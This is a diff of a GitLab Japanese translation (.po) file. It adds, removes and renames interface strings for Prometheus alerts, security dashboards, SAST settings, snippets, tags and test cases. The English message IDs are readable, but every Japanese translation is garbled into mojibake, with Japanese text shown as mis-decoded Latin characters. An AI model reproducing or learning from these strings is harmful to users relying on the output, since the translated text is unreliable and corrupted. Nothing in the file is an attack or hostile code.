msgstr "プロジェクトをグループã«è»¢é€ã—ãŸå ´åˆã€ãƒ—ロジェクトã®å¯è¦–性レベルãŒåå‰ç©ºé–“ã®ãƒ«ãƒ¼ãƒ«ã«åˆã‚ã›ã¦å¤‰æ›´ã•ã‚Œã¾ã™ã€‚"
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr "プロジェクト: %{name}"
@@ -18591,6 +19151,9 @@ msgstr "誰ã«ã‚‚許å¯ã—ãªã„"
msgid "ProjectFileTree|Name"
msgstr "åå‰"
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr "記録ãªã—"
@@ -19182,7 +19745,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr "オペレータ"
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19191,12 +19754,21 @@ msgstr "クエリをé¸æŠž"
msgid "PrometheusAlerts|Threshold"
msgstr "ã—ãã„値"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
+msgstr ""
+
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr "%{metrics} ã® %{exporters} ãŒè¦‹ã¤ã‹ã‚Šã¾ã—ãŸ"
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
-msgstr "<p class=\"text-tertiary\"><a href=\"%{docsUrl}\">共通メトリクス</a>ã¯è¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸ</p>"
-
msgid "PrometheusService|Active"
msgstr "アクティブ"
@@ -19254,6 +19826,9 @@ msgstr "詳細情報"
msgid "PrometheusService|New metric"
msgstr "æ–°è¦ãƒ¡ãƒˆãƒªã‚¯ã‚¹"
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr "カスタムメトリックã¯ä½œæˆã•ã‚Œã¦ã„ã¾ã›ã‚“。 上ã®ãƒœã‚¿ãƒ³ã‚’使用ã—ã¦ä½œæˆã—ã¦ãã ã•ã„"
@@ -19308,6 +19883,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr "課題をエピックã«æ˜‡æ ¼æ¸ˆã¿"
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19389,6 +19967,9 @@ msgstr "貢献度分æžã‚’使用ã™ã‚‹ã¨ã€çµ„ç¹”ã¨ãã®ãƒ¡ãƒ³ãƒãƒ¼ã®èª²é¡Œ
msgid "Prompt users to upload SSH keys"
msgstr "SSH éµã‚’アップロードã™ã‚‹ã‚ˆã†ã«ãƒ¦ãƒ¼ã‚¶ãƒ¼ã«ä¿ƒã™"
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19719,9 +20300,6 @@ msgstr "最近ã®æ¤œç´¢ã‚µãƒ¼ãƒ“スã¯åˆ©ç”¨ã§ãã¾ã›ã‚“"
msgid "Recent searches"
msgstr "最近ã®æ¤œç´¢"
-msgid "Recipe"
-msgstr "レシピ"
-
msgid "Reconfigure"
msgstr ""
@@ -19816,6 +20394,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -19907,6 +20488,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr "リリースã®è©³ç´°ã‚’å–得中ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸ"
@@ -19949,6 +20533,9 @@ msgstr "ã™ã¹ã¦ã®æ‹…当者ã¾ãŸã¯ç‰¹å®šã®æ‹…当者を削除"
msgid "Remove all or specific label(s)"
msgstr "ã™ã¹ã¦ã®ãƒ©ãƒ™ãƒ«ã¾ãŸã¯ç‰¹å®šã®ãƒ©ãƒ™ãƒ«ã‚’削除ã™ã‚‹"
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr "承èªè€…を削除"
@@ -20018,9 +20605,6 @@ msgstr "プライマリノードã®å‰Šé™¤"
msgid "Remove priority"
msgstr "優先度を削除"
-msgid "Remove project"
-msgstr "プロジェクトを削除"
-
msgid "Remove secondary node"
msgstr "セカンダリノードã®å‰Šé™¤"
@@ -20054,9 +20638,6 @@ msgstr "%{milestone_reference} マイルストーンを削除ã—ã¾ã—ãŸã€‚"
msgid "Removed %{type} with id %{id}"
msgstr "Id %{id} 㮠%{type} を削除"
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr "ã™ã¹ã¦ã®ãƒ©ãƒ™ãƒ«ã‚’削除済ã¿"
@@ -20069,12 +20650,6 @@ msgstr "削除ã•ã‚ŒãŸã‚°ãƒ«ãƒ¼ãƒ—ã¯ãƒ¬ã‚¹ãƒˆã‚¢ã§ãã¾ã›ã‚“ï¼"
msgid "Removed parent epic %{epic_ref}."
msgstr "親エピック %{epic_ref} を削除ã—ã¾ã—ãŸã€‚"
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr "削除ã•ã‚ŒãŸãƒ—ロジェクトã¯å¾©å…ƒã§ãã¾ã›ã‚“ï¼"
-
msgid "Removed spent time."
msgstr "作業時間を削除ã—ã¾ã—ãŸã€‚"
@@ -20123,15 +20698,9 @@ msgstr "期日を削除."
msgid "Removes time estimate."
msgstr "見ç©æ™‚間を削除."
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr "ライセンスã®å‰Šé™¤ä¸­..."
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr "プロジェクトを除去ã™ã‚‹ã¨ã€ãã®ãƒªãƒã‚¸ãƒˆãƒªã¨ã€èª²é¡Œã€ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆãªã©ã‚’å«ã‚€ã™ã¹ã¦ã®é–¢é€£ãƒªã‚½ãƒ¼ã‚¹ãŒå‰Šé™¤ã•ã‚Œã¾ã™"
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20313,9 +20882,6 @@ msgstr "リãƒã‚¸ãƒˆãƒªã®ã‚°ãƒ©ãƒ•"
msgid "Repository Settings"
msgstr "リãƒã‚¸ãƒˆãƒªã®è¨­å®š"
-msgid "Repository URL"
-msgstr "リãƒã‚¸ãƒˆãƒª URL"
-
msgid "Repository check"
msgstr ""
@@ -20501,9 +21067,15 @@ msgstr "解決ã™ã‚‹"
msgid "Resolve all threads in new issue"
msgstr "æ–°ã—ã„課題ã®ã™ã¹ã¦ã®ã‚¹ãƒ¬ãƒƒãƒ‰ã‚’解決ã™ã‚‹"
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr "ソースブランãƒã§ã®ç«¶åˆã‚’解決ã™ã‚‹"
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr "スレッドを解決ã—ã¾ã™ã€‚"
@@ -20682,6 +21254,9 @@ msgstr "ロールãƒãƒƒã‚¯"
msgid "Rook"
msgstr "Rook"
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20694,6 +21269,9 @@ msgstr "外部リãƒã‚¸ãƒˆãƒªç”¨ CI/CD パイプラインを実行"
msgid "Run housekeeping"
msgstr "ãƒã‚¦ã‚¹ã‚­ãƒ¼ãƒ”ングを実行"
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr "Webターミナルを使用ã—ã¦ãƒ†ã‚¹ãƒˆã‚’実行"
@@ -20820,6 +21398,9 @@ msgstr "ä¿å­˜"
msgid "Save Changes"
msgstr "変更をä¿å­˜"
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr "強制ä¿å­˜"
@@ -20850,6 +21431,9 @@ msgstr "テンプレートをä¿å­˜"
msgid "Save variables"
msgstr "変数をä¿å­˜ã™ã‚‹"
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr "ä¿å­˜ä¸­"
@@ -20898,6 +21482,9 @@ msgstr "スコープ"
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr "下ã¸ã‚¹ã‚¯ãƒ­ãƒ¼ãƒ«"
@@ -20940,6 +21527,9 @@ msgstr "ブランãƒã‚’検索"
msgid "Search branches and tags"
msgstr "ブランãƒã¾ãŸã¯ã‚¿ã‚°ã‚’検索"
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21127,6 +21717,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr "秘密"
@@ -21154,13 +21747,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21181,6 +21798,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21208,8 +21828,8 @@ msgstr "%{firstProject}〠%{secondProject}ã€ãŠã‚ˆã³ %{rest}"
msgid "SecurityReports|Add a project to your dashboard"
msgstr "プロジェクトをダッシュボードã«è¿½åŠ "
-msgid "SecurityReports|Add or remove projects from your dashboard"
-msgstr "ダッシュボードã¸ãƒ—ロジェクトを追加ã¾ãŸã¯ãƒ€ãƒƒã‚·ãƒ¥ãƒœãƒ¼ãƒ‰ã®ãƒ—ロジェクトを削除"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
+msgstr ""
msgid "SecurityReports|Add projects"
msgstr "プロジェクトを追加"
@@ -21244,13 +21864,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21265,19 +21882,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21289,6 +21900,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21307,13 +21921,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21385,7 +21999,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21394,6 +22008,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21424,9 +22041,6 @@ msgstr "GitLab管ç†ç”»é¢ã§å½±éŸ¿ã‚’å—ã‘るプロジェクトをå‚ç…§"
msgid "See what's new at GitLab"
msgstr "GitLab ã®æœ€æ–°æƒ…報を見る"
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr "é¸æŠž"
@@ -21550,6 +22164,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr "ソースブランãƒã‚’é¸æŠž"
@@ -21580,6 +22197,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr "ユーザをé¸æŠž"
@@ -21769,6 +22389,12 @@ msgstr "サービスデスク"
msgid "Service Desk is enabled but not yet active"
msgstr "サービスデスクã¯æœ‰åŠ¹ã§ã™ã€‚ã—ã‹ã—アクティブã§ã¯ã‚ã‚Šã¾ã›ã‚“"
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr "サービス テンプレート"
@@ -21781,6 +22407,12 @@ msgstr "セッション期間 (分)"
msgid "Set %{epic_ref} as the parent epic."
msgstr "%{epic_ref} を親エピックã¨ã—ã¦è¨­å®šã—ã¾ã—㟠。"
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr "課題説明ã®ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆãƒ†ãƒ³ãƒ—レートを設定ã—ã¾ã™ã€‚"
@@ -22095,12 +22727,6 @@ msgstr "%{total_count} 件中 %{limit} ã®èª²é¡Œã‚’表示. "
msgid "Showing %{pageSize} of %{total} issues"
msgstr "%{total} 件中 %{pageSize} ã®èª²é¡Œã‚’表示"
-msgid "Showing Latest Version"
-msgstr "最新ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚’表示"
-
-msgid "Showing Version #%{versionNumber}"
-msgstr "ãƒãƒ¼ã‚¸ãƒ§ãƒ³ç•ªå·#%{versionNumber} を表示"
-
msgid "Showing all issues"
msgstr "ã™ã¹ã¦ã®èª²é¡Œã‚’表示"
@@ -22110,6 +22736,12 @@ msgstr ""
msgid "Showing last %{size} of log -"
msgstr "ログã®ç›´è¿‘ã®éƒ¨åˆ† (%{size} サイズ) を表示"
+msgid "Showing latest version"
+msgstr ""
+
+msgid "Showing version #%{versionNumber}"
+msgstr ""
+
msgid "Side-by-side"
msgstr "並列"
@@ -22203,6 +22835,9 @@ msgstr "既存ã®GitLabアカウントを使用ã›ãšã«%{label} アカウント
msgid "Similar issues"
msgstr "é¡žä¼¼ã®èª²é¡Œ"
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr "å˜ä¸€ã¾ãŸã¯è¤‡åˆã®ã‚¯ã‚¨ãƒªãƒ¼"
@@ -22245,7 +22880,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22296,12 +22931,21 @@ msgstr "コードスニペットã¨ãƒ†ã‚­ã‚¹ãƒˆã‚’ä¿å­˜ã€å…±æœ‰ã€åŸ‹ã‚è¾¼ã¿
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr "表示ã™ã‚‹ã‚¹ãƒ‹ãƒšãƒƒãƒˆã¯ã‚ã‚Šã¾ã›ã‚“。"
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr "説明(オプション)"
msgid "Snippets|File"
msgstr "ファイル"
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr "コードãƒã‚¤ãƒ©ã‚¤ãƒˆã‚’追加ã™ã‚‹ãŸã‚ã®ãƒ•ã‚¡ã‚¤ãƒ«åを指定ã—ã¾ã™ã€‚例ãˆã°ã€example.rbã¨ã™ã‚‹ã¨Rubyã¨ã—ã¦ã‚³ãƒ¼ãƒ‰ãƒã‚¤ãƒ©ã‚¤ãƒˆã•ã‚Œã¾ã™ã€‚"
@@ -22359,6 +23003,9 @@ msgstr "課題ã®å…¬é–‹ç¯„囲ã®å¤‰æ›´ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸ"
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr "%{issuableDisplayName} をロック状態ã«ã™ã‚‹ã®ã«å¤±æ•—ã—ã¾ã—ãŸ"
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr "ボタンã®åˆ‡ã‚Šæ›¿ãˆä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸ"
@@ -22488,12 +23135,12 @@ msgstr "å•é¡ŒãŒç™ºç”Ÿã—ã¦ã€ãƒ€ãƒƒã‚·ãƒ¥ãƒœãƒ¼ãƒ‰ã« %{project} を追加ã§
msgid "Something went wrong, unable to add projects to dashboard"
msgstr "å•é¡ŒãŒç™ºç”Ÿã—ã¦ã€ãƒ€ãƒƒã‚·ãƒ¥ãƒœãƒ¼ãƒ‰ã«ãƒ—ロジェクトを追加ã§ãã¾ã›ã‚“"
+msgid "Something went wrong, unable to delete project"
+msgstr ""
+
msgid "Something went wrong, unable to get projects"
msgstr "å•é¡ŒãŒç™ºç”Ÿã—ã¦ã€ãƒ—ロジェクトをå–å¾—ã§ãã¾ã›ã‚“。"
-msgid "Something went wrong, unable to remove project"
-msgstr "å•é¡ŒãŒç™ºç”Ÿã—ã¦ã€ãƒ—ロジェクトを削除ã§ãã¾ã›ã‚“。"
-
msgid "Something went wrong, unable to search projects"
msgstr "å•é¡ŒãŒç™ºç”Ÿã—ã¦ã€ãƒ—ロジェクトを検索ã§ãã¾ã›ã‚“。"
@@ -23388,6 +24035,9 @@ msgstr "GitLab Nextã«åˆ‡ã‚Šæ›¿ãˆã‚‹"
msgid "Switch to the source to copy the file contents"
msgstr "ソースã«åˆ‡ã‚Šæ›¿ãˆã€ãƒ•ã‚¡ã‚¤ãƒ«ã®å†…容をコピーã—ã¾ã™"
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr "åŒæœŸæƒ…å ±"
@@ -23436,6 +24086,9 @@ msgstr "タグ一覧:"
msgid "Tag name"
msgstr "ã‚¿ã‚°å"
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr "コミットã«ã‚¿ã‚°ã‚’付ã‘ã¾ã™ã€‚"
@@ -23448,6 +24101,9 @@ msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆã« %{tag_name} タグを付ã‘ã¾ã—ãŸã€‚"
msgid "Tags"
msgstr "ã‚¿ã‚°"
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr "タグフィード"
@@ -23627,6 +24283,12 @@ msgstr ""
msgid "Test"
msgstr "テスト"
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr "テストカãƒãƒ¬ãƒƒã‚¸è§£æž"
@@ -23694,9 +24356,6 @@ msgstr "表示ã™ã‚‹ãƒ†ã‚¹ãƒˆã¯ã‚ã‚Šã¾ã›ã‚“。"
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr "テストレãƒãƒ¼ãƒˆã‚’å–å¾—ã™ã‚‹é–“ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23733,15 +24392,12 @@ msgstr "\"CODEOWNERSã‹ã‚‰ã®æ‰¿èªãŒå¿…è¦\" 設定ã¯%{banner_link_start}ä¿è
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] "%{type} ã«æ¬¡ã®ã‚¨ãƒ©ãƒ¼ãŒå«ã¾ã‚Œã¦ã„ã¾ã™ã€‚"
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
-msgstr "GitLab ã®é«˜åº¦ãªã‚°ãƒ­ãƒ¼ãƒãƒ«æ¤œç´¢ã¯ã€æ™‚間を節約ã§ãる強力ãªæ¤œç´¢ã‚µãƒ¼ãƒ“スã§ã™ã€‚é‡è¤‡ã—ãŸã‚³ãƒ¼ãƒ‰ã®ä½œæˆã‚’ã—ã¦æ™‚間を無駄ã«ã™ã‚‹ã“ã¨ãªãã€è‡ªèº«ã®ãƒ—ロジェクトã®åŠ©ã‘ã¨ãªã‚‹å¤–ã®ãƒãƒ¼ãƒ ã®ã‚³ãƒ¼ãƒ‰ã‚’検索ã™ã‚‹ã“ã¨ãŒã§ãるよã†ã«ãªã‚Šã¾ã™ã€‚"
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
msgstr ""
@@ -23767,6 +24423,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr "Elasticsearchã¸ã®æŽ¥ç¶šã«ä½¿ç”¨ã™ã‚‹URL。クラスタリングをサãƒãƒ¼ãƒˆã™ã‚‹ã«ã¯ã€ã‚³ãƒ³ãƒžåŒºåˆ‡ã‚Šãƒªã‚¹ãƒˆã‚’使用ã—ã¾ã™(例: http://localhost:9200, http://localhost:9201)。"
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "外部èªè¨¼ã‚µãƒ¼ãƒ“スã¨ã®é€šä¿¡ã«ç›¸äº’ TLS ãŒå¿…è¦ãªå ´åˆã«ä½¿ç”¨ã™ã‚‹ X509 証明書。空白ã®ã¾ã¾ã«ã™ã‚‹ã¨ã€HTTPS 経由ã§ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ã¨ãã«ã‚µãƒ¼ãƒè¨¼æ˜Žæ›¸ã®æ¤œè¨¼ãŒè¡Œã‚ã‚Œã¾ã™ã€‚"
@@ -23797,6 +24456,9 @@ msgstr "ã“ã®ã‚¹ãƒ†ãƒ¼ã‚¸ã§è¨ˆæ¸¬ãƒ‡ãƒ¼ã‚¿ã«è¿½åŠ ã•ã‚ŒãŸã‚¤ãƒ™ãƒ³ãƒˆãƒªã‚¹
msgid "The commit does not exist"
msgstr "コミットãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“。"
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "コãƒã‚¯ã‚·ãƒ§ãƒ³ã¯ %{timeout} ã§ã‚¿ã‚¤ãƒ ã‚¢ã‚¦ãƒˆã—ã¾ã™ã€‚タイムアウトã™ã‚‹ãƒªãƒã‚¸ãƒˆãƒªã§ã¯ã€clone/push を組ã¿åˆã‚ã›ã¦ä½¿ç”¨ã—ã¦ãã ã•ã„。"
@@ -23851,6 +24513,12 @@ msgstr "ファイルã¯æ­£å¸¸ã«å‰Šé™¤ã•ã‚Œã¾ã—ãŸã€‚"
msgid "The file name should have a .yml extension"
msgstr "ファイルåã«ã¯ .yml ã¨ã„ã†æ‹¡å¼µå­ãŒå¿…è¦ã§ã™ã€‚"
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr "次ã®ã‚¢ã‚¤ãƒ†ãƒ ã¯ã‚¨ã‚¯ã‚¹ãƒãƒ¼ãƒˆã§ãã¾ã›ã‚“。"
@@ -23951,13 +24619,13 @@ msgstr "ã“ã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã«ã¯ã€ \"%{name}\" ã¨ã„ã†åå‰ãŒã™ã§ã
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr "リãƒã‚¸ãƒˆãƒªã‚’クローンã™ã‚‹ã¨ãã« GitLab ã‹ã‚‰å–å¾—ã•ã‚Œã‚‹å¤‰æ›´ã®æ•°ã€‚ã“ã‚Œã«ã‚ˆã‚Šãƒ‘イプラインã®å®Ÿè¡Œé€Ÿåº¦ã‚’上ã’ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚空ã®ã¾ã¾ã«ã™ã‚‹ã‹ã€0 ã«è¨­å®šã—ã¦ã€ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã§ã‚·ãƒ£ãƒ­ãƒ¼ã‚¯ãƒ­ãƒ¼ãƒ³ã‚’無効ã«ã—ã€GitLab CI ã«æ¯Žå›žã™ã¹ã¦ã®ãƒ–ランãƒã¨ã‚¿ã‚°ã‚’å–å¾—ã•ã›ã¾ã™ã€‚"
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr "アップロードレコードãŒãƒ•ã‚¡ã‚¤ãƒ«ã‚’見ã¤ã‘られãªã‹ã£ãŸå›žæ•°"
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
